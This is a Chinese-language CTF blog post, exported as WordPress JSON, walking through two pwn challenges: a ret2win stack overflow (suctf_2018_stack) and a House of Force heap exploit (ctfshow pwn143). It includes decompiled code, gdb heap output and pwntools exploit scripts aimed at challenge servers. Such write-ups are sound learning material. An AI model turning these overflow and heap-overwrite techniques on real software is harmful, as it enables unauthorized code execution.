{"id":587,"date":"2025-09-04T15:00:58","date_gmt":"2025-09-04T07:00:58","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=587"},"modified":"2025-09-04T15:01:00","modified_gmt":"2025-09-04T07:01:00","slug":"buuctfsuctf_2018_stack%e3%80%81ctfshow-%e5%a0%86%e5%89%8d%e7%bd%ae-pwn143","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/09\/04\/buuctfsuctf_2018_stack%e3%80%81ctfshow-%e5%a0%86%e5%89%8d%e7%bd%ae-pwn143\/","title":{"rendered":"buuctf:suctf_2018_stack\u3001ctfshow \u5806\u524d\u7f6e pwn143"},"content":{"rendered":"\n


1\u3001suctf_2018_stack\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


64\u4f4d\u6ca1\u4ec0\u4e48\u4fdd\u62a4\uff0c\u8fd0\u884c\u4e00\u4e0b<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

e..ida\u91cc\u9762\u770b\u770b\u5427<\/p>\n\n\n\n

\u5c31\u662f\u4e00\u4e2a\u5f88\u7b80\u5355\u7684ret2\u554a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


2\u3001suctf_2018_stack\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29838)\n\npayload=b'a'*(0x20+8)+p64(0x400677)\np.send(payload)\np.interactive()\n~                    <\/code><\/pre>\n\n\n\n

\u4e00\u822c\u662f\u75280x400676\u7684\u4f46\u662f\u8fd9\u9053\u9898<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4ee5\u524d\u9047\u5230\u8fc7\u8fd9\u79cd\u95ee\u9898\uff0c\u6808\u5e73\u8861\uff0c\u9700\u8981\u8ba9\u5b83\u5c11\u63a5\u6536\u6216\u8005\u591a\u63a5\u6536<\/p>\n\n\n\n
3\u3001ctfshow pwn143<\/h2>\n\n\n\n
\u6765\u5b66\u5b66\u5806<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u662f\u4e00\u4e2a\u7ecf\u5178\u7684\u5806\u9898\u83dc\u5355\uff0c\u53bb\u770b\u770bida\uff0c\u54b1\u4e00\u70b9\u4e00\u70b9\u8bfb\u61c2\u4ee3\u7801<\/p>\n\n\n\n
main\u51fd\u6570\u7684\u5206\u6790\uff1a<\/p>\n\n\n\n
int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  void (__fastcall **v3)(signed __int64); \/\/ ST08_8@1\n  int v4; \/\/ [sp+4h] [bp-1Ch]@2\n  char buf; \/\/ [sp+10h] [bp-10h]@2\n  __int64 v6; \/\/ [sp+18h] [bp-8h]@1\n\n  v6 = *MK_FP(__FS__, 40LL);\/\/canary\u5b58\u653e\u5728v6\n  init(*(_QWORD *)&argc, argv, envp);\n  logo();\n  \/\/malloc\u7533\u8bf7\u4e8616\u5b57\u8282\u7684\u5806\u5757\u7528\u6765\u5b58\u653e\u4e24\u4e2a8\u5b57\u8282\u7684\u6307\u9488\n  v3 = (void (__fastcall **)(signed __int64))malloc(0x10uLL);\n  *v3 = (void (__fastcall *)(signed __int64))hello_message;\n  v3[1] = (void (__fastcall *)(signed __int64))goodbye_message;\n  (*v3)(16LL);\/\/\u8fd9\u4e2a\u5c31\u662f\u8c03\u7528hello_message(16)\n  \/\/\u4e3b\u5faa\u73af\u6253\u5370\u83dc\u5355\n  while ( 1 )\n  {\n    menu();\n    read(0, &buf, 8uLL);\n    v4 = atoi(&buf);\n    if ( (unsigned int)v4 <= 5 )\n      break;\n    puts(\"Invaild choice!!!\");\n  }\n  JUMPOUT(__CS__, (char *)dword_40175C + dword_40175C[(unsigned __int64)(unsigned int)v4]);\n}<\/code><\/pre>\n\n\n\n

hello_message<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u7eaf\u6253\u5370\u554a\uff0c\u4e0b\u4e00\u4e2a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

ok,\u63a5\u4e0b\u6765\u6211\u4eec\u770b\u770b\u83dc\u5355\uff0c\u5047\u5982\u6211\u4eec\u5148add<\/p>\n\n\n\n
__int64 add()\n{\n  __int64 result; \/\/ rax@3\n  __int64 v1; \/\/ rsi@12\n  signed int i; \/\/ [sp+4h] [bp-1Ch]@4\n  int v3; \/\/ [sp+8h] [bp-18h]@2\n  char buf; \/\/ [sp+10h] [bp-10h]@2\n  __int64 v5; \/\/ [sp+18h] [bp-8h]@1\n\n  v5 = *MK_FP(__FS__, 40LL);\n  if ( num > 99 )\n  {\n    puts(\"Full\");\nLABEL_11:\n    result = 0LL;\n    goto LABEL_12;\n  }\n  printf(\"Please enter the length:\");\n  read(0, &buf, 8uLL);\n  v3 = atoi(&buf);\n  \/\/\u8fd9\u91cc\u6ca1\u6709\u5bf9v3\u8fdb\u884c\u68c0\u67e5\uff0c\u5982\u679cv3\u662f\u4e2a\u8d1f\u6570\uff0c\u53ef\u80fd\u4f1a\u5206\u914d\u5f88\u5927\u7684\u5806\u5757\n  if ( v3 )\n  {\n    for ( i = 0; i <= 99; ++i )\n    {\n      if ( !qword_6020A8[2 * i] )\n      {\n        *((_DWORD *)&list + 4 * i) = v3;\n        qword_6020A8[2 * i] = malloc(v3);\n        printf(\"Please enter the name:\");\n        *(_BYTE *)(qword_6020A8[2 * i] + (signed int)read(0, (void *)qword_6020A8[2 * i], v3)) = 0;\n        ++num;\n        goto LABEL_11;\n      }\n    }\n    goto LABEL_11;\n  }\n  puts(\"Invaild length\");\n  result = 0LL;\nLABEL_12:\n  v1 = *MK_FP(__FS__, 40LL) ^ v5;\n  return result;\n}<\/code><\/pre>\n\n\n\n

edit<\/p>\n\n\n\n
__int64 edit()\n{\n  int v0; \/\/ ST10_4@4\n  int v2; \/\/ [sp+Ch] [bp-24h]@3\n  char buf; \/\/ [sp+18h] [bp-18h]@3\n  char nptr; \/\/ [sp+20h] [bp-10h]@4\n  __int64 v5; \/\/ [sp+28h] [bp-8h]@1\n\n  v5 = *MK_FP(__FS__, 40LL);\/\/\u6709\u6808\u6ea2\u51fa\u68c0\u67e5\n  if ( num )\n  {\n    printf(\"Please enter the index:\");\n    read(0, &buf, 8uLL);\n    v2 = atoi(&buf);\n    \/\/\u8fd9\u91ccv2\u4e5f\u662f\u5b58\u5728\u6570\u7ec4\u8d8a\u754c\u7684\u60c5\u51b5\n    if ( qword_6020A8[2 * v2] )\n    {\n      printf(\"Please enter the length of name:\", &buf);\n      read(0, &nptr, 8uLL);\n      v0 = atoi(&nptr);\n      printf(\"Please enter the new name:\", &nptr);\n      *(_BYTE *)(qword_6020A8[2 * v2] + (signed int)read(0, (void *)qword_6020A8[2 * v2], v0)) = 0;\n    }\n    else\n    {\n      puts(\"Invaild index\");\n    }\n  }\n  else\n  {\n    puts(\"Nothing here~\");\n  }\n  return *MK_FP(__FS__, 40LL) ^ v5;\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u5e94\u8be5\u662f\u4fee\u6539chunk,\u5b58\u5728\u6f0f\u6d1e<\/p>\n\n\n\n
delete<\/p>\n\n\n\n
__int64 delete()\n{\n  int v1; \/\/ [sp+Ch] [bp-14h]@3\n  char buf; \/\/ [sp+10h] [bp-10h]@3\n  __int64 v3; \/\/ [sp+18h] [bp-8h]@1\n\n  v3 = *MK_FP(__FS__, 40LL);\n  \/\/\u91ca\u653e\u540e\u503c\u7f6e0\n  if ( num )\n  {\n    printf(\"Please enter the index:\");\n    read(0, &buf, 8uLL);\n    v1 = atoi(&buf);\n    if ( qword_6020A8[2 * v1] )\n    {\n      free((void *)qword_6020A8[2 * v1]);\n      qword_6020A8[2 * v1] = 0LL;\n      *((_DWORD *)&list + 4 * v1) = 0;\n      puts(\"free successful!!\");\n      --num;\n    }\n    else\n    {\n      puts(\"invaild index\");\n    }\n  }\n  else\n  {\n    puts(\"No\");\n  }\n  return *MK_FP(__FS__, 40LL) ^ v3;\n}<\/code><\/pre>\n\n\n\n

\u4e0b\u9762\u8fd9\u4e2a\u51fd\u6570\u53ef\u4ee5\u51faflag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ok,\u4f46\u662f\u5bf9\u4e8e\u6f0f\u6d1e\u7684\u5229\u7528\u8fd8\u662f\u5f88\u832b\u7136\uff0c\u8ddf\u7740wp\u505a\u4e00\u4e0b\u5427\uff0c\u6b63\u597d\u5b66\u4e60\u4e00\u4e0b<\/p>\n\n\n\n
4\u3001pwn143(House of force\u5229\u7528)<\/h2>\n\n\n\n
\u6211\u4eec\u5199\u4e2a\u811a\u672c\u8c03\u8bd5\u4e00\u4e0b\u5427<\/p>\n\n\n\n
from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\n#p=remote(\"\",)\np=process(\".\/pwn143\")\nelf=ELF(\".\/pwn143\")\n\ndef add(len,name):\n    p.sendlineafter(\"Your choice:\",str(2))\n    p.sendlineafter(\"Please enter the length:\",str(len))\n    p.sendlineafter(\"Please enter the name:\",name)\n\ndef edit(index,length,name):\n    p.sendlineafter(\"Your choice:\",str(3))\n    p.sendlineafter(\"Please enter the index:\",index)\n    p.sendlineafter(\"Please enter the length of name:\",length)\n    p.sendlineafter(\"Please enter the new name:\",name)\n\ndef delete(index):\n    p.sendlineafter(\"Your choice:\",str(4))\n    p.sendlineafter(\"Please enter the index:\",index)\n\ndef show():\n    p.sendlineafter(\"Your choice:\",str(1))\n\ndef see():\n    gdb.attach(p)\n    pause()\n\nadd(32,b\"aaaa\")\nsee()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Allocated chunk | PREV_INUSE\nAddr: 0x3676f290\nSize: 0x20 (with flag bits: 0x21)\/\/v3,\u5c31\u662fmain\u51fd\u6570\u5f00\u59cb\u7533\u8bf7\u7684\u5806\u5757\uff0c\u5b58\u6709\u4e24\u4e2a\u6307\u9488\uff0cv3[1]\u5728\u6267\u884c5\u65f6\u4f1a\u88ab\u8c03\u7528\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u4fee\u6539\u7684\u5c31\u662f\u8fd9\u91cc\u7684\u5185\u5bb9\n\nAllocated chunk | PREV_INUSE\nAddr: 0x3676f2b0\nSize: 0x30 (with flag bits: 0x31)\/\/\u6211\u4eec\u7533\u8bf7\u7684\u5806\u5757\n<\/code><\/pre>\n\n\n\n
\u6211\u4eec\u7b97\u4e00\u4e0btopchunk_header\u5230v3_header\u8ddd\u79bb\u662f0x50<\/p>\n\n\n\n
\u6211\u4eec\u770b\u770b\u5229\u7528\u601d\u8def\uff08\u6765\u81eactfshow wp\uff09\uff1a<\/p>\n\n\n\n
1.\u901a\u8fc7house of force\uff0c\u5c06top chunk\u7684\u5730\u5740\u79fb\u5230\u8bb0\u5f55goodbye_messaged\u7684chunk0\u5904<\/p>\n\n\n\n
2. \u518d\u6b21\u7533\u8bf7chunk\uff0c\u6211\u4eec\u5c31\u80fd\u5206\u914d\u5230chunk0<\/p>\n\n\n\n
3. \u5c06goodbye_message\u6539\u4e3a\u540e\u2ed4\u51fd\u6570\u7684\u5730\u5740<\/p>\n\n\n\n
4. \u8f93\u2f0a5\u8c03\u2f64v4[1],\u5373\u53ef\u83b7\u5f97flag<\/p>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u5e94\u8be5\u8981mallic(-0x50)\u624d\u884c,\u4f46\u662f\uff0c\u8fd9\u91cc\u6709\u4e00\u4e9b\u77e5\u8bc6\u9700\u8981\u634b\u4e00\u634b<\/p>\n\n\n\n
\u5728 glibc \u7684\u5806\u5b9e\u73b0\u4e2d\uff0c\u5806\u5757\u7684\u5927\u5c0f\u9700\u8981\u6ee1\u8db3 16 \u5b57\u8282\u5bf9\u9f50\uff08\u5373\u5730\u5740\u662f 16 \u7684\u500d\u6570\uff09\u3002<\/p>\n\n\n\n
\u56e0\u6b64\uff0cmalloc \u4f1a\u5c06\u8bf7\u6c42\u7684\u5927\u5c0f\u5411\u4e0a\u5bf9\u9f50\u5230 16 \u7684\u500d\u6570\u3002\u4e5f\u5c31\u662fx+0xf<\/p>\n\n\n\n
\u4e00\u4e0b\u662f\u4eba\u673a\u7684\u5206\u6790\uff1a
\u5b9e\u9645\u4e0a\uff0cmalloc \u4f1a\u5c06\u8bf7\u6c42\u7684\u5927\u5c0f\u5411\u4e0a\u5bf9\u9f50\u5230 16 \u7684\u500d\u6570\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u9700\u8981\u627e\u5230\u4e00\u4e2a x\uff0c\u4f7f\u5f97\uff1a<\/p>\n\n\n\n
(x+0x8+0xf)&\u223c0xf=0xffffffffffffffb0<\/p>\n\n\n\n
\u8fd9\u91cc x \u662f malloc \u8bf7\u6c42\u7684\u5927\u5c0f\uff0c0x8 \u662f\u5806\u5757\u5934\u90e8\u7684\u5927\u5c0f\uff0c0xf \u662f\u5bf9\u9f50\u63a9\u7801\u3002<\/p>\n\n\n\n
\u516c\u5f0f\u63a8\u5bfc\uff1a<\/p>\n\n\n\n
\u4ece\u516c\u5f0f\u4e2d\u53ef\u4ee5\u770b\u51fa\uff0ck \u7684\u8303\u56f4\u662f 0 \u5230 0xf\uff0cx \u9700\u8981\u6ee1\u8db3\uff1a<\/p>\n\n\n\n
x+0x8+0xf=0xffffffffffffffb0<\/p>\n\n\n\n
\u7b80\u5316\u540e\uff1a<\/p>\n\n\n\n
x=0xffffffffffffffb0\u22120x8\u22120xf=0xffffffffffffffa8<\/p>\n\n\n\n
\u5f53 k = 0xf \u65f6\uff1a<\/p>\n\n\n\n
x=0xffffffffffffffb0+0xf\u22120x17=0xffffffffffffffa8<\/p>\n\n\n\n
\u8fd9\u4e2a\u503c\u662f 16 \u7684\u500d\u6570\uff0c\u56e0\u6b64\u662f\u5408\u9002\u7684\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u9700\u8981\u7533\u8bf7\u5806\u5757\u7684\u5927\u5c0f\u662f0xffffffffffffffa8\u7528\u8ba1\u7b97\u5668\u6363\u9f13\u4e00\u4e0b\u5c31\u662f\u5443-0x58,\u5bf9<\/p>\n\n\n\n
0xffffffffffffffb0\u7684\u610f\u601d\u5c31\u662f0x3676f2b0\u56e0\u4e3a\u53ea\u9700\u8981\u7528\u5230b0\u561b<\/p>\n\n\n\n
\u6838\u5fc3\u8981\u70b9\u5c31\u662fmalloc \u4f1a\u5c06\u8bf7\u6c42\u7684\u5927\u5c0f\u5411\u4e0a\u5bf9\u9f50\u5230 16 \u7684\u500d\u6570\u3002<\/p>\n\n\n\n
\u6211\u4eec\u5229\u7528malloc(-0x58)\u5c06top_chunk\u79fb\u52a8\u81f3v4\uff0c\u518d\u586b\u5165\u6211\u4eec\u7684payload<\/p>\n\n\n\n
payload=b'a'*0x8+p64(flag)#0x80\u662f\u7b2c\u4e00\u4e2a\u6307\u9488<\/code><\/pre>\n\n\n\n

ok,\u6211\u4eec\u5f00\u59cb\u5229\u7528<\/p>\n\n\n\n
from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\np=remote(\"pwn.challenge.ctf.show\",28308)\n#p=process(\".\/pwn143\")\nelf=ELF(\".\/pwn143\")\n\ndef add(len,name):\n    p.sendlineafter(\"Your choice:\",str(2))\n    p.sendlineafter(\"Please enter the length:\",str(len))\n    p.sendlineafter(\"Please enter the name:\",name)\n\ndef edit(index,length,name):\n    p.sendlineafter(\"Your choice:\",str(3))\n    p.sendlineafter(\"Please enter the index:\",str(index))\n    p.sendlineafter(\"Please enter the length of name:\",str(length))\n    p.sendlineafter(\"Please enter the new name:\",name)\n\ndef delete(index):\n    p.sendlineafter(\"Your choice:\",str(4))\n    p.sendlineafter(\"Please enter the index:\",index)\n\ndef show():\n    p.sendlineafter(\"Your choice:\",str(1))\n\n#def see():\n    gdb.attach(p)\n    pause()\n\nadd(0x20,b\"aaaa\")\npayload=b'a'*(0x20+8)+p64(0xffffffffffffffff)\nedit(0,80,payload)\nflag=0x0000000000400D7F\nadd(-0x58,b'cccc')\npayload=b'a'*0x8+p64(flag)\nadd(0x10,payload)\np.sendlineafter(\"Your choice:\",str(5))\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001suctf_2018_stack\u5206\u6790 64\u4f4d\u6ca1\u4ec0\u4e48\u4fdd\u62a4\uff0c\u8fd0\u884c\u4e00\u4e0b e..ida\u91cc\u9762\u770b\u770b\u5427 \u5c31\u662f\u4e00\u4e2a\u5f88\u7b80\u5355\u7684 […]<\/p>\n","protected":false},"author":1,"featured_media":602,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-587","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/587","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=587"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/587\/revisions"}],"predecessor-version":[{"id":603,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/587\/revisions\/603"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/602"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=587"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=587"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=587"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}